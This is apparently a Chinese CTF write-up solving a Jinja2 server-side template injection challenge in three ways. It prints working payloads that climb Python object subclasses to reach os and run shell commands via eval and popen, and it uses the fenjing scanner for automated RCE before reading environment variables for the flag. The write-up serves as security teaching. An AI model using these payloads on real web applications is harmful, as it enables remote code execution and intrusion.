本文最后更新于54 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
解法一
1.访问网站,没有发现什么提示

2.尝试传入name参数,发现页面出现变化

3.尝试传入{{7*7}},成功解析为49,存在SSTI注入

4.传入{{''.__class__}}查看当前对象所属的类,页面没有显示

右键查看源代码,发现是执行了的只是没有显示在前端
5.输入{{''.__class__.__base__}}查看当前类对应的父类是object

6.输入{{''.__class__.__base__.__subclasses__()}}查看object类的所有子类

7.爆破os._wrap_close模块对应的下标为117

8.调用__init__函数,判断模块是否重载

9.使用__globals__函数查看全局变量,判断有哪些模块可以调用

10.构造payload获取flag
?name={{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
当前目录下没有

查看环境变量env,成功找到flag
解法二
寻找可以使用的模块
warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作
爆破warnings.catch_warnings模块对应的下标为166

使用__globals__函数查看全局变量,判断有哪些模块可以调用

构造payload
?name={{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
__bases__ 这个属性的返回值类型是元组

解法三
python -m fenjing scan -u http://node5.buuoj.cn:29239/

成功RCE

查看当前目录,没有发现flag

查看app.py,没有发现flag

查看环境变量env,成功找到flag

总结
- SSTI
warnings.catch_warnings以及os._wrap_close的使用